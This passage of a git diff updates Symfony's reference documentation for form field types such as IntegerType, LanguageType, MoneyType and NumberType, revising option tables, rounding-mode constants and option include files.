`error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+-----------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+-----------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` | -+-------------+-----------------------------------------------------------------------+ ++---------------------------+-----------------------------------------------------------------------+ +| Rendered as | ``input`` ``number`` field | ++---------------------------+-----------------------------------------------------------------------+ +| Default invalid message | Please enter an integer. | ++---------------------------+-----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+-----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` | ++---------------------------+-----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -55,37 +30,43 @@ Field Options ``rounding_mode`` ~~~~~~~~~~~~~~~~~ -**type**: ``integer`` **default**: ``IntegerToLocalizedStringTransformer::ROUND_DOWN`` +**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN`` By default, if the user enters a non-integer number, it will be rounded -down. There are several other rounding methods and each is a constant -on the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`: +down. You have several configurable options for that rounding. Each option +is a constant on the :phpclass:`NumberFormatter` class: -* ``IntegerToLocalizedStringTransformer::ROUND_DOWN`` Round towards zero. +* ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It + rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``. -* ``IntegerToLocalizedStringTransformer::ROUND_FLOOR`` Round towards negative - infinity. +* ``\NumberFormatter::ROUND_FLOOR`` Round towards negative + infinity. It rounds ``1.4`` to ``1`` and ``-1.4`` to ``-2``. -* ``IntegerToLocalizedStringTransformer::ROUND_UP`` Round away from zero. +* ``\NumberFormatter::ROUND_UP`` Round away from zero. It + rounds ``1.4`` to ``2`` and ``-1.4`` to ``-2``. -* ``IntegerToLocalizedStringTransformer::ROUND_CEILING`` Round towards - positive infinity. +* ``\NumberFormatter::ROUND_CEILING`` Round towards positive + infinity. It rounds ``1.4`` to ``2`` and ``-1.4`` to ``-1``. -* ``IntegerToLocalizedStringTransformer::ROUND_HALF_DOWN`` Round towards the - "nearest neighbor". If both neighbors are equidistant, round down. +* ``\NumberFormatter::ROUND_HALFDOWN`` Round towards the + "nearest neighbor". If both neighbors are equidistant, round down. It rounds + ``2.5`` and ``1.6`` to ``2``, ``1.5`` and ``1.4`` to ``1``. -* ``IntegerToLocalizedStringTransformer::ROUND_HALF_EVEN`` Round towards the - "nearest neighbor". If both neighbors are equidistant, round towards the - even neighbor. +* ``\NumberFormatter::ROUND_HALFEVEN`` Round towards the + "nearest neighbor". If both neighbors are equidistant, round towards the even + neighbor. It rounds ``2.5``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``. -* ``IntegerToLocalizedStringTransformer::ROUND_HALF_UP`` Round towards the - "nearest neighbor". If both neighbors are equidistant, round up. +* ``\NumberFormatter::ROUND_HALFUP`` Round towards the + "nearest neighbor". If both neighbors are equidistant, round up. It rounds + ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``. Overridden Options ------------------ .. include:: /reference/forms/types/options/compound_type.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -97,13 +78,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -115,14 +94,14 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/help_html.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/label.rst.inc .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst index 5fa38697701..a1e699a0686 100644 --- a/reference/forms/types/language.rst +++ b/reference/forms/types/language.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; LanguageType - LanguageType Field ================== @@ -20,46 +17,15 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the field type automatically uses a large list of languages. You *can* specify the option manually, but then you should just use the ``ChoiceType`` directly. -+-------------+------------------------------------------------------------------------+ -| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | -+-------------+------------------------------------------------------------------------+ -| Options | - `alpha3`_ | -| | - `choice_self_translation`_ | -| | - `choice_translation_locale`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `choices`_ | -| options | - `choice_translation_domain`_ | -+-------------+------------------------------------------------------------------------+ -| Inherited | from the :doc:`ChoiceType </reference/forms/types/choice>` | -| options | | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `expanded`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -| | - `trim`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>` | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+------------------------------------------------------------------------+ +| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | ++---------------------------+------------------------------------------------------------------------+ +| Default invalid message | Please select a valid language. | ++---------------------------+------------------------------------------------------------------------+ +| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | ++---------------------------+------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` | ++---------------------------+------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -71,7 +37,7 @@ alpha3 **type**: ``boolean`` **default**: ``false`` -If this option is ``true``, the choice values use the `ISO 639-2 alpha-3`_ +If this option is ``true``, the choice values use the `ISO 639-2 alpha-3 (2T)`_ three-letter codes (e.g. French = ``fra``) instead of the default `ISO 639-1 alpha-2`_ two-letter codes (e.g. French = ``fr``). @@ -80,10 +46,6 @@ choice_self_translation **type**: ``boolean`` **default**: ``false`` -.. versionadded:: 5.1 - - The ``choice_self_translation`` option was introduced in Symfony 5.1. - By default, language names are translated into the current locale of the application. For example, when browsing the application in English, you'll get an array like ``[..., 'cs' => 'Czech', ..., 'es' => 'Spanish', ..., 'zh' => 'Chinese']`` @@ -107,18 +69,22 @@ Overridden Options The choices option defaults to all languages. The default locale is used to translate the languages names. -.. caution:: +.. warning:: If you want to override the built-in choices of the language type, you will also have to set the ``choice_loader`` option to ``null``. .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`: +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + .. include:: /reference/forms/types/options/error_bubbling.rst.inc .. include:: /reference/forms/types/options/error_mapping.rst.inc @@ -129,6 +95,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>` .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + .. include:: /reference/forms/types/options/preferred_choices.rst.inc .. include:: /reference/forms/types/options/choice_type_trim.rst.inc @@ -141,8 +109,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -150,8 +117,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/help.rst.inc @@ -163,6 +129,8 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -172,5 +140,5 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/row_attr.rst.inc .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1 -.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2 -.. _`International Components for Unicode`: http://site.icu-project.org +.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2 +.. _`International Components for Unicode`: https://icu.unicode.org/ diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst index 385cc4f6fd8..c006beb14fd 100644 --- a/reference/forms/types/locale.rst +++ b/reference/forms/types/locale.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; LocaleType - LocaleType Field ================ @@ -21,44 +18,15 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the field type automatically uses a large list of locales. You *can* specify these options manually, but then you should just use the ``ChoiceType`` directly. -+-------------+------------------------------------------------------------------------+ -| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | -+-------------+------------------------------------------------------------------------+ -| Options | - `choice_translation_locale`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `choices`_ | -| options | - `choice_translation_domain`_ | -+-------------+------------------------------------------------------------------------+ -| Inherited | from the :doc:`ChoiceType </reference/forms/types/choice>` | -| options | | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `expanded`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -| | - `trim`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>` | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+----------------------------------------------------------------------+ +| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | ++---------------------------+----------------------------------------------------------------------+ +| Default invalid message | Please select a valid locale. | ++---------------------------+----------------------------------------------------------------------+ +| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | ++---------------------------+----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` | ++---------------------------+----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -78,18 +46,22 @@ Overridden Options The choices option defaults to all locales. It uses the default locale to specify the language. -.. caution:: +.. warning:: If you want to override the built-in choices of the locale type, you will also have to set the ``choice_loader`` option to ``null``. .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`: +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + .. include:: /reference/forms/types/options/error_bubbling.rst.inc .. include:: /reference/forms/types/options/error_mapping.rst.inc @@ -100,6 +72,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>` .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + .. include:: /reference/forms/types/options/preferred_choices.rst.inc .. include:: /reference/forms/types/options/choice_type_trim.rst.inc @@ -112,8 +86,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -121,8 +94,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/help.rst.inc @@ -134,6 +106,8 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc index 4036f2f7dce..d2fefa20dde 100644 --- a/reference/forms/types/map.rst.inc +++ b/reference/forms/types/map.rst.inc @@ -19,6 +19,7 @@ Choice Fields ~~~~~~~~~~~~~ * :doc:`ChoiceType </reference/forms/types/choice>` +* :doc:`EnumType </reference/forms/types/enum>` * :doc:`EntityType </reference/forms/types/entity>` * :doc:`CountryType </reference/forms/types/country>` * :doc:`LanguageType </reference/forms/types/language>` @@ -43,6 +44,20 @@ Other Fields * :doc:`FileType </reference/forms/types/file>` * :doc:`RadioType </reference/forms/types/radio>` +Symfony UX Fields +~~~~~~~~~~~~~~~~~ + +These types are part of the `Symfony UX Packages`_ + +* `CropperType`_ (using Cropper.js) +* `DropzoneType`_ + +UID Fields +~~~~~~~~~~ + +* :doc:`UuidType </reference/forms/types/uuid>` +* :doc:`UlidType </reference/forms/types/ulid>` + Field Groups ~~~~~~~~~~~~ @@ -65,3 +80,7 @@ Base Fields ~~~~~~~~~~~ * :doc:`FormType </reference/forms/types/form>` + +.. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme +.. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme +.. _Symfony UX Packages: https://symfony.com/bundles/StimulusBundle/current/index.html#ux-packages diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst index bb91d0b08da..967fe9e4ce4 100644 --- a/reference/forms/types/money.rst +++ b/reference/forms/types/money.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; MoneyType - MoneyType Field =============== @@ -11,41 +8,15 @@ This field type allows you to specify a currency, whose symbol is rendered next to the text field. There are also several other options for customizing how the input and output of the data is handled. -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``text`` field | -+-------------+---------------------------------------------------------------------+ -| Options | - `currency`_ | -| | - `divisor`_ | -| | - `grouping`_ | -| | - `html5`_ | -| | - `rounding_mode`_ | -| | - `scale`_ | -+-------------+---------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | | -+-------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` | -+-------------+---------------------------------------------------------------------+ ++---------------------------+---------------------------------------------------------------------+ +| Rendered as | ``input`` ``text`` field | ++---------------------------+---------------------------------------------------------------------+ +| Default invalid message | Please enter a valid money amount. | ++---------------------------+---------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+---------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` | ++---------------------------+---------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -96,16 +67,29 @@ html5 **type**: ``boolean`` **default**: ``false`` -.. versionadded:: 5.2 - - This option was introduced in Symfony 5.2. - If set to ``true``, the HTML input will be rendered as a native HTML5 ``<input type="number">`` element. -.. caution:: +.. warning:: + + As HTML5 number format is normalized, it is incompatible with the ``grouping`` + option. + +input +~~~~~ + +**type**: ``string`` **default**: ``float`` - As HTML5 number format is normalized, it is incompatible with ``grouping`` option. +By default, the money value is converted to a ``float`` PHP type. If you need the +value to be converted into an integer (e.g. because some library needs money +values stored in cents as integers) set this option to ``integer``. +You can also set this option to ``string``, it can be useful if the underlying +data is a string for precision reasons (for example, Doctrine uses strings for +the decimal type). + +.. versionadded:: 7.1 + + The ``input`` option was introduced in Symfony 7.1. scale ~~~~~ @@ -122,6 +106,8 @@ Overridden Options .. include:: /reference/forms/types/options/compound_type.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -133,13 +119,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -151,14 +135,14 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/help_html.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/label.rst.inc .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst index 599d0efa4cd..7e125a5fd05 100644 --- a/reference/forms/types/number.rst +++ b/reference/forms/types/number.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; NumberType - NumberType Field ================ @@ -8,40 +5,15 @@ Renders an input text field and specializes in handling number input. This type offers different options for the scale, rounding and grouping that you want to use for your number. -+-------------+----------------------------------------------------------------------+ -| Rendered as | ``input`` ``text`` field | -+-------------+----------------------------------------------------------------------+ -| Options | - `grouping`_ | -| | - `html5`_ | -| | - `input`_ | -| | - `scale`_ | -| | - `rounding_mode`_ | -+-------------+----------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | | -+-------------+----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+----------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+----------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` | -+-------------+----------------------------------------------------------------------+ ++---------------------------+----------------------------------------------------------------------+ +| Rendered as | ``input`` ``text`` field | ++---------------------------+----------------------------------------------------------------------+ +| Default invalid message | Please enter a number. | ++---------------------------+----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` | ++---------------------------+----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -81,11 +53,18 @@ to ``2``, a submitted value of ``20.123`` will be rounded to, for example, .. include:: /reference/forms/types/options/rounding_mode.rst.inc +When the ``html5`` option is set to ``false``, the ``<input>`` element will +include an `inputmode HTML attribute`_ which depends on the value of this option. +If the ``scale`` value is ``0``, ``inputmode`` will be ``numeric``; if ``scale`` +is set to any value greater than ``0``, ``inputmode`` will be ``decimal``. + Overridden Options ------------------ .. include:: /reference/forms/types/options/compound_type.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -97,13 +76,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -115,14 +92,14 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/help_html.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/label.rst.inc .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -130,3 +107,5 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/required.rst.inc .. include:: /reference/forms/types/options/row_attr.rst.inc + +.. _`inputmode HTML attribute`: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc index fc9a2731af7..04106ee7e21 100644 --- a/reference/forms/types/options/_date_limitation.rst.inc +++ b/reference/forms/types/options/_date_limitation.rst.inc @@ -1,7 +1,7 @@ -.. caution:: +.. warning:: If ``timestamp`` is used, ``DateType`` is limited to dates between - Fri, 13 Dec 1901 20:45:54 GMT and Tue, 19 Jan 2038 03:14:07 GMT on 32bit - systems. This is due to a `limitation in PHP itself`_. + Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit + systems. This is due to an integer overflow bug in 32bit systems known as the `Year 2038 problem`_. -.. _limitation in PHP itself: https://www.php.net/manual/en/function.date.php#refsect1-function.date-changelog +.. _Year 2038 problem: https://en.wikipedia.org/wiki/Year_2038_problem diff --git a/reference/forms/types/options/attr.rst.inc b/reference/forms/types/options/attr.rst.inc index 629902b4fc8..c4bb89d277e 100644 --- a/reference/forms/types/options/attr.rst.inc +++ b/reference/forms/types/options/attr.rst.inc @@ -13,5 +13,5 @@ as keys. This can be useful when you need to set a custom class for some widget: .. seealso:: - Use the ``row_attr`` option if you want to add these attributes to the + Use the ``row_attr`` option if you want to add these attributes to the :ref:`form type row <form-rendering-basics>` element. diff --git a/reference/forms/types/options/button_label.rst.inc b/reference/forms/types/options/button_label.rst.inc index 623e8bf6200..c63d48b032c 100644 --- a/reference/forms/types/options/button_label.rst.inc +++ b/reference/forms/types/options/button_label.rst.inc @@ -1,7 +1,7 @@ ``label`` ~~~~~~~~~ -**type**: ``string`` **default**: The label is "guessed" from the field name +**type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name Sets the label that will be displayed on the button. The label can also be directly set inside the template: diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc index 1c9f5138d66..db5a47f4109 100644 --- a/reference/forms/types/options/choice_attr.rst.inc +++ b/reference/forms/types/options/choice_attr.rst.inc @@ -13,13 +13,27 @@ If an array, the keys of the ``choices`` array must be used as keys:: use Symfony\Component\Form\Extension\Core\Type\ChoiceType; // ... + $builder->add('fruits', ChoiceType::class, [ + 'choices' => [ + 'Apple' => 1, + 'Banana' => 2, + 'Durian' => 3, + ], + 'choice_attr' => [ + 'Apple' => ['data-color' => 'Red'], + 'Banana' => ['data-color' => 'Yellow'], + 'Durian' => ['data-color' => 'Green'], + ], + ]); + + // or use a callable $builder->add('attending', ChoiceType::class, [ 'choices' => [ 'Yes' => true, 'No' => false, 'Maybe' => null, ], - 'choice_attr' => function($choice, $key, $value) { + 'choice_attr' => function ($choice, string $key, mixed $value) { // adds a class like attending_yes, attending_no, etc return ['class' => 'attending_'.strtolower($key)]; }, @@ -35,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys:: // ... $builder->add('choices', ChoiceType::class, [ - 'choice_label' => ChoiceList::attr($this, function (?Category $category) { + 'choice_attr' => ChoiceList::attr($this, function (?Category $category): array { return $category ? ['data-uuid' => $category->getUuid()] : []; }), ]); diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc index d7563dc8a1c..66d06b19bbd 100644 --- a/reference/forms/types/options/choice_filter.rst.inc +++ b/reference/forms/types/options/choice_filter.rst.inc @@ -3,10 +3,6 @@ **type**: ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null`` -.. versionadded:: 5.1 - - The ``choice_filter`` option has been introduced in Symfony 5.1. - When using predefined choice types from Symfony core or vendor libraries (i.e. :doc:`CountryType </reference/forms/types/country>`) this option lets you define a callable that takes each choice as the only argument and must return @@ -22,7 +18,7 @@ define a callable that takes each choice as the only argument and must return class AddressType extends AbstractType { - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver ->setDefaults([ @@ -32,7 +28,7 @@ define a callable that takes each choice as the only argument and must return ; } - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $allowedCountries = $options['allowed_countries']; @@ -41,7 +37,7 @@ define a callable that takes each choice as the only argument and must return ->add('country', CountryType::class, [ // if the AddressType "allowed_countries" option is passed, // use it to create a filter - 'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries) { + 'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries): bool { return in_array($countryCode, $allowedCountries, true); } : null, @@ -73,7 +69,7 @@ The option can be a callable or a property path when choices are objects:: 'choice_filter' => $allowedCountries ? ChoiceList::filter( // pass the type as first argument $this, - function ($countryCode) use ($allowedCountries) { + function (string $countryCode) use ($allowedCountries): bool { return in_array($countryCode, $allowedCountries, true); }, // pass the option that makes the filter "vary" to compute a unique hash diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc index 6cfac9323ae..3d83e44da52 100644 --- a/reference/forms/types/options/choice_label.rst.inc +++ b/reference/forms/types/options/choice_label.rst.inc @@ -16,7 +16,7 @@ more control:: 'no' => false, 'maybe' => null, ], - 'choice_label' => function ($choice, $key, $value) { + 'choice_label' => function ($choice, string $key, mixed $value): TranslatableMessage|string { if (true === $choice) { return 'Definitely!'; } @@ -25,6 +25,7 @@ more control:: // or if you want to translate some key //return 'form.choice.'.$key; + //return new TranslatableMessage($key, false === $choice ? [] : ['%status%' => $value], 'store'); }, ]); @@ -33,7 +34,7 @@ This method is called for *each* choice, passing you the ``$choice`` and This will give you: .. image:: /_images/reference/form/choice-example2.png - :align: center + :alt: A choice list with the options "Definitely!", "NO" and "MAYBE". If your choice values are objects, then ``choice_label`` can also be a :ref:`property path <reference-form-option-property-path>`. Imagine you have some diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc new file mode 100644 index 00000000000..08fbe953e41 --- /dev/null +++ b/reference/forms/types/options/choice_lazy.rst.inc @@ -0,0 +1,31 @@ +``choice_lazy`` +~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +.. versionadded:: 7.2 + + The ``choice_lazy`` option was introduced in Symfony 7.2. + +The ``choice_lazy`` option is particularly useful when dealing with a large set +of choices, where loading them all at once could cause performance issues or +delays:: + + use App\Entity\User; + use Symfony\Bridge\Doctrine\Form\Type\EntityType; + + $builder->add('user', EntityType::class, [ + 'class' => User::class, + 'choice_lazy' => true, + ]); + +When set to ``true`` and used alongside the ``choice_loader`` option, the form +will only load and render the choices that are preset as default values or +submitted. This defers the loading of the full list of choices, helping to +improve your form's performance. + +.. warning:: + + Keep in mind that when using ``choice_lazy``, you are responsible for + providing the user interface for selecting choices, typically through a + JavaScript plugin capable of dynamically loading choices. diff --git a/reference/forms/types/options/choice_loader.rst.inc 